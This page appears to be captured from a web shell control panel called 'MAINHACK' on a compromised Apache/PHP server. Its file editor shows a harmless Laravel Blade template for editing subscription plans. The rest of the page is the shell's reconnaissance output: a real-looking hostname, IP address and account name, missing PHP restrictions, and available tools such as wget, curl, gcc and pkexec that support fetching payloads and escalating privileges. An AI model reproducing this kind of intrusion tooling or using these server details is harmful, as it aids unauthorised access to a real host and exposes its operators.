[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: edit.blade.php
@extends('layouts.master') @section('title') {{ __('Edit Subscription Plan') }} @endsection @section('main_content') <div class="erp-table-section"> <div class="container-fluid"> <div class="card border-0"> <div class="card-bodys shadow-sm"> <div class="table-header p-16"> <h4>{{__('Edit Package')}}</h4> @can('plans-read') <a href="{{ route('admin.plans.index') }}" class="add-order-btn rounded-2 {{ Route::is('admin.users.create') ? 'active' : '' }}"><i class="far fa-list" aria-hidden="true"></i> {{ __('Package List') }}</a> @endcan </div> <div class="order-form-section p-16"> <form action="{{ route('admin.plans.update',$plan->id) }}" method="POST" class="ajaxform_instant_reload"> @csrf @method('put') <div class="add-suplier-modal-wrapper d-block"> <div class="row"> <div class="col-lg-6 mb-2"> <label>{{ __('Package Name') }}</label> <input value="{{$plan->subscriptionName}}" type="text" name="subscriptionName" required class="form-control" placeholder="{{ __('Enter Package Name') }}" @readonly($plan->subscriptionName == 'Free')> </div> <div class="col-lg-6 mb-2"> <label>{{ __('Duration in Days') }}</label> <input value="{{$plan->duration}}" type="number" step="any" name="duration" required class="form-control" placeholder="{{ __('Enter Duration Days') }}"> </div> <div class="col-lg-6 mb-2"> <label>{{ __('Offer Price') }}</label> <input value="{{$plan->offerPrice}}" type="number" step="any" name="offerPrice" class="form-control price" placeholder="{{ __('Enter Plan Price') }}" @readonly($plan->subscriptionName == 'Free')> </div> <div class="col-lg-6 mb-2"> <label>{{ __('Subscription Price') }}</label> <input value="{{$plan->subscriptionPrice}}" type="number" step="any" name="subscriptionPrice" required class="form-control" placeholder="{{ __('Enter Subscription Price') }}" @readonly($plan->subscriptionName == 'Free')> </div> <div class="col-lg-6 mb-2"> <label>{{ __('Status') }}</label> <div class="form-control d-flex justify-content-between align-items-center radio-switcher"> <p class="dynamic-text">{{ $plan->status == 1 ? 'Active' : 'Deactive' }}</p> <label class="switch m-0"> <input type="checkbox" name="status" class="change-text" {{ $plan->status == 1 ? 'checked' : '' }}> <span class="slider round"></span> </label> </div> </div> <div class="col-lg-6"> <label>{{ __('Add New Features') }}</label> <div class="input-group"> <input type="text" class="form-control add-feature border-0 bg-transparent" placeholder="{{ __('Enter features') }}"> <button class="feature-btn" id="feature-btn">{{ __('Save') }}</button> </div> </div> <div class="col-lg-12"> <div class="row feature-list"> @foreach ($plan->features ?? [] as $key => $item) <div class="col-lg-6 mt-4"> <div class="form-control manage-plan d-flex justify-content-between align-items-center position-relative"> <input name="features[features_{{ $key }}][]" required class="form-control subscription-plan-edit-custom-input" type="text" value="{{ $item[0] ?? '' }}"> <div class="custom-manageswitch"> <label class="switch m-0"> <input type="checkbox" name="features[features_{{ $key }}][]" @checked(isset($item[1])) value="1"> <span class="slider round"></span> </label> </div> </div> </div> @endforeach </div> </div> <div class="col-lg-12"> <div class="button-group text-center mt-5"> <button type="reset" class="theme-btn border-btn m-2">{{ __('Cancel') }}</button> <button class="theme-btn m-2 submit-btn">{{ __('Update') }}</button> </div> </div> </div> </div> </form> </div> </div> </div> </div> </div> @endsection @push('js') <script src="{{ asset('assets/js/custom/custom.js') }}"></script> @endpush
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.88 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002